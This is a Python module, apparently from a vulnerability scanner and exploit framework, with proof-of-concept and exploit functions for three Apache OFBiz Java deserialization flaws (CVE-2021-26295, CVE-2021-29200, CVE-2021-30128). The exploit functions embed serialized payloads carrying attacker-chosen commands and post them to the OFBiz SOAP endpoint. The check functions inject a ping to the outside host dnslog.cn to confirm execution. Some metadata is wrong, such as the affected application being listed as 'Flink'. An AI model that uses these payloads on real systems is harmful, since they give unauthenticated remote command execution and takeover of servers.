#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import threading
from core.verify import verify
from module import globals
from module.api.dns import dns_request
from module.api.dns import dns_result
from thirdparty import requests
from thirdparty.requests.compat import urljoin
from thirdparty.requests_toolbelt.utils import dump


class ApacheOFBiz():
    def __init__(self, url):
        self.url = url
        self.raw_data = None
        self.vul_info = {}
        self.ua = globals.get_value("UA")  # 获取全局变量UA
        self.timeout = globals.get_value("TIMEOUT")  # 获取全局变量UA
        self.headers = globals.get_value("HEADERS")  # 获取全局变量HEADERS
        self.threadLock = threading.Lock()
        self.payload_cve_2021_26295_poc = '''<?xml version='1.0' encoding='UTF-8'?>
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
        <soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
        <ns1:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff740010RECOMMAND74000071007e0005740004687474707078740017687474703a2f2fRECOMMAND78</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>'''

        self.payload_cve_2021_29200_poc = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://ofbiz.apache.org/service/">  
  <soapenv:Header/>  
  <soapenv:Body>
    <ser>
      <map-Map>
        <map-Entry>
          <map-Key>
            <cus-obj>ACED0005737200326A617661782E6D616E6167656D656E742E72656D6F74652E726D692E524D49436F6E6E656374696F6E496D706C5F5374756200000000000000020200007872001A6A6176612E726D692E7365727665722E52656D6F746553747562E9FEDCC98BE1651A0200007872001C6A6176612E726D692E7365727665722E52656D6F74654F626A656374D361B4910C61331E03000078707739000A556E69636173745265660010RECOMMAND0000005000000000600BBCF200000000000000000000000000000078</cus-obj>
          </map-Key>  
          <map-Value>  
            <std-String/>
          </map-Value>
        </map-Entry>
      </map-Map>
    </ser>
  </soapenv:Body>
</soapenv:Envelope>'''

        self.payload_cve_2021_26295_exp_1 = '''<?xml version='1.0' encoding='UTF-8'?>
                        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                        <soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
                        <ns1:cus-obj>[encoded data, 6563 characters]</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>'''

        self.payload_cve_2021_26295_exp_2 = '''<?xml version='1.0' encoding='UTF-8'?>
                <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
                <soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/">
                <ns1:cus-obj>[encoded data, 6563 characters]</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>'''

        self.payload_cve_2021_30128_poc = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
                <soapenv:Header/>
                <soapenv:Body>
                <ser>
                <map-HashMap>
                <map-Entry>
                <map-Key>
                <cus-obj>[encoded data, 5657 characters]</cus-obj>
                </map-Key>
                <map-Value>
                <std-String value="http://3zs56v.dnslog.cn"/>
                </map-Value>
                </map-Entry>
                </map-HashMap>
                </ser>
                </soapenv:Body>
                </soapenv:Envelope>'''

        self.payload_cve_2021_30128_exp = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
                        <soapenv:Header/>
                        <soapenv:Body>
                        <ser>
                        <map-HashMap>
                        <map-Entry>
                        <map-Key>
                        <cus-obj>[encoded data, 5653 characters]</cus-obj>
                        </map-Key>
                        <map-Value>
                        <std-String value="http://3zs56v.dnslog.cn"/>
                        </map-Value>
                        </map-Entry>
                        </map-HashMap>
                        </ser>
                        </soapenv:Body>
                        </soapenv:Envelope>'''

    def cve_2021_26295_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Apache OFBiz: CVE-2021-26295"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_name"] = "Apache OFBiz RMI deserializes arbitrary code execution"
        self.vul_info["vul_numb"] = "CVE-2021-26295"
        self.vul_info["vul_apps"] = "Flink"
        self.vul_info["vul_date"] = "2021-03-25"
        self.vul_info["vul_vers"] = "< 17.12.06"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "Arbitrary Code Execution"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Apache OFBiz官方发布安全更新，修复了一处由RMI反序列化造成的远程代码执行漏洞。" \
                                    "攻击者可构造恶意请求，触发反序列化，从而造成任意代码执行，控制服务器."
        self.vul_info["cre_date"] = "2021-03-31"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'text/xml',
            'Connection': 'close'
        }
        def _trans(s):
            return "%s" % ''.join('%.2x' % x for x in s)

        def dnslog_re(md):
            headers_dnslog = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
                'Host': 'www.dnslog.cn',
                'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                'Accept': '*/*',
                'Referer': 'http://www.dnslog.cn/',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Connection': 'close'
            }
            dnslog_url = "http://www.dnslog.cn/getrecords.php?t=0.913020034617231"
            dns = requests.get(dnslog_url, headers=headers_dnslog, timeout=10, verify=False)
            if md in dns.text:
                return md
        try:
            headers_dnslog = {
                    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
                    'Host': 'www.dnslog.cn',
                    'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                    'Accept': '*/*',
                    'Referer': 'http://www.dnslog.cn/',
                    'Accept-Language': 'zh-CN,zh;q=0.9',
                    'Connection': 'close'
            }
            dnslog_api = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"
            dns = requests.post(dnslog_api, headers=headers_dnslog, timeout=10, verify=False)
            dns = dns.text
            dns_data = bytes(dns, encoding="utf8")
            dns_hex = _trans(dns_data)
            data = self.payload_cve_2021_26295_poc.replace("RECOMMAND", dns_hex)
            url = urljoin(self.url, "/webtools/control/SOAPService")
            try:
                request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            except:
                request = requests.get(url, headers=headers, timeout=self.timeout, verify=False)
            if dnslog_re(dns):
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns:" + dns + "]"
            verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def cve_2021_26295_exp(self, cmd):
        vul_name = "Apache OFBiz: CVE-2021-26295"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'text/xml',
            'Connection': 'close'
        }
        def _trans(s):
            return "%s" % ''.join('%.2x' % x for x in s)

        try:
            dns_data = bytes(cmd, encoding="utf8")
            dns_hex = _trans(dns_data)
            data = self.payload_cve_2021_26295_exp_1.replace("RECOMMAND", dns_hex)
            url = urljoin(self.url, "/webtools/control/SOAPService")
            request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            if r"cus-obj" in request.text:
                data = self.payload_cve_2021_26295_exp_2.replace("RECOMMAND", dns_hex)
                request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            self.raw_data = dump.dump_all(request).decode('utf-8', 'ignore')
            if request.status_code == 200:
                r = "Command Executed Successfully (But No Echo)"
            else:
                r = "Command Executed Failed... ..."
            verify.exploit_print(r, self.raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception as e:
            verify.error_print(vul_name)

    def cve_2021_29200_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Apache OFBiz: CVE-2021-29200"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_name"] = "Apache OFBiz RMI deserializes remote code execution"
        self.vul_info["vul_numb"] = "CVE-2021-29200"
        self.vul_info["vul_apps"] = "Flink"
        self.vul_info["vul_date"] = "2021-05-11"
        self.vul_info["vul_vers"] = "< 17.12.07"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "RCE"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Due to the Java RMI deserialization vulnerability in Apache OFBiz, unauthenticated users can perform RCE attacks, causing the server to be taken over."
        self.vul_info["cre_date"] = "2021-05-14"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'text/xml',
            'Connection': 'close'
        }
        def _trans(s):
            return "%s" % ''.join('%.2x' % x for x in s)

        def dnslog_re(md):
            headers_dnslog = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
                'Host': 'www.dnslog.cn',
                'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                'Accept': '*/*',
                'Referer': 'http://www.dnslog.cn/',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Connection': 'close'
            }
            dnslog_url = "http://www.dnslog.cn/getrecords.php?t=0.913020034617231"
            dns = requests.get(dnslog_url, headers=headers_dnslog, timeout=10, verify=False)
            if md in dns.text:
                return md
        try:
            headers_dnslog = {
                    'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
                    'Host': 'www.dnslog.cn',
                    'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                    'Accept': '*/*',
                    'Referer': 'http://www.dnslog.cn/',
                    'Accept-Language': 'zh-CN,zh;q=0.9',
                    'Connection': 'close'
            }
            dnslog_api = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"
            dns = requests.post(dnslog_api, headers=headers_dnslog, timeout=10, verify=False)
            dns = dns.text
            dns_data = bytes(dns, encoding="utf8")
            dns_hex = _trans(dns_data)
            data = self.payload_cve_2021_29200_poc.replace("RECOMMAND", dns_hex)
            url = urljoin(self.url, "/webtools/control/SOAPService")
            try:
                request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            except:
                request = requests.get(url, headers=headers, timeout=self.timeout, verify=False)
            if dnslog_re(dns):
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns:" + dns + "]"
            verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def cve_2021_30128_poc(self):
        self.threadLock.acquire()
        self.vul_info["prt_name"] = "Apache OFBiz: CVE-2021-30128"
        self.vul_info["prt_resu"] = "null"
        self.vul_info["prt_info"] = "null"
        self.vul_info["vul_urls"] = self.url
        self.vul_info["vul_payd"] = "null"
        self.vul_info["vul_name"] = "Apache OFBiz Deserialize remote command execution"
        self.vul_info["vul_numb"] = "CVE-2021-30128"
        self.vul_info["vul_apps"] = "Flink"
        self.vul_info["vul_date"] = "2021-04-28"
        self.vul_info["vul_vers"] = "< 17.12.07"
        self.vul_info["vul_risk"] = "high"
        self.vul_info["vul_type"] = "RCE"
        self.vul_info["vul_data"] = "null"
        self.vul_info["vul_desc"] = "Apache OFBiz Deserialize remote command execution"
        self.vul_info["cre_date"] = "2021-04-30"
        self.vul_info["cre_auth"] = "zhzyker"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'text/xml',
            'Connection': 'close'
        }
        def _trans(s):
            return "%s" % ''.join('%.2x' % x for x in s)

        def dnslog_re(md):
            headers_dnslog = {
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3970.5 Safari/537.36',
                'Host': 'www.dnslog.cn',
                'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                'Accept': '*/*',
                'Referer': 'http://www.dnslog.cn/',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Connection': 'close'
            }
            dnslog_url = "http://www.dnslog.cn/getrecords.php?t=0.913020034617231"
            dns = requests.get(dnslog_url, headers=headers_dnslog, timeout=10, verify=False)
            if md in dns.text:
                return md
        try:
            headers_dnslog = {
                'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
                'Host': 'www.dnslog.cn',
                'Cookie': 'UM_distinctid=1703200149e449-053d4e8089c385-741a3944-1fa400-1703200149f80a; PHPSESSID=jfhfaj7op8u8i5sif6d4ai30j4; CNZZDATA1278305074=1095383570-1581386830-null%7C1581390548',
                'Accept': '*/*',
                'Referer': 'http://www.dnslog.cn/',
                'Accept-Language': 'zh-CN,zh;q=0.9',
                'Connection': 'close'
            }
            dnslog_api = "http://www.dnslog.cn/getdomain.php?t=0.08025501698741366"
            dns = requests.post(dnslog_api, headers=headers_dnslog, timeout=10, verify=False)
            dns = dns.text
            #dns = dns_request()
            #   dns = "ae647006c62bb3e725ac7176c425bb94.7m7tgh.ceye.io"
            cmd = "ping " + dns
            dns_data = bytes(cmd, encoding="utf8")
            dns_hex = _trans(dns_data)
            #print(cmd)
            #print(dns_hex)

            data = self.payload_cve_2021_30128_poc.replace("RECOMMAND", dns_hex)
            url = urljoin(self.url, "/webtools/control/SOAPService")
            #print(data)
            try:
                request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            except:
                request = requests.get(url, headers=headers, timeout=self.timeout, verify=False)
            if dnslog_re(dns):
                self.vul_info["vul_data"] = dump.dump_all(request).decode('utf-8', 'ignore')
                self.vul_info["vul_payd"] = data
                self.vul_info["prt_resu"] = "PoCSuCCeSS"
                self.vul_info["prt_info"] = "[dns:" + dns + "]"
            verify.scan_print(self.vul_info)
        except requests.exceptions.Timeout:
            verify.timeout_print(self.vul_info["prt_name"])
        except requests.exceptions.ConnectionError:
            verify.connection_print(self.vul_info["prt_name"])
        except Exception:
            verify.error_print(self.vul_info["prt_name"])
        self.threadLock.release()

    def cve_2021_30128_exp(self, cmd):
        vul_name = "Apache OFBiz: CVE-2021-30128"
        headers = {
            'User-Agent': self.ua,
            'Content-Type': 'text/xml',
            'Connection': 'close'
        }
        def _trans(s):
            return "%s" % ''.join('%.2x' % x for x in s)

        try:
            dns_data = bytes(cmd, encoding="utf8")
            dns_hex = _trans(dns_data)
            #print(cmd)
            #print(dns_hex)

            data = self.payload_cve_2021_30128_exp.replace("RECOMMAND", dns_hex)
            url = urljoin(self.url, "/webtools/control/SOAPService")
            #print(data)
            request = requests.post(url, data=data, headers=headers, timeout=self.timeout, verify=False)
            if request.status_code == 200:
                r = "Command Executed Successfully (But No Echo)"
            else:
                r = "Command Executed Failed... ..."
            verify.exploit_print(r, self.raw_data)
        except requests.exceptions.Timeout:
            verify.timeout_print(vul_name)
        except requests.exceptions.ConnectionError:
            verify.connection_print(vul_name)
        except Exception as e:
            verify.error_print(vul_name)
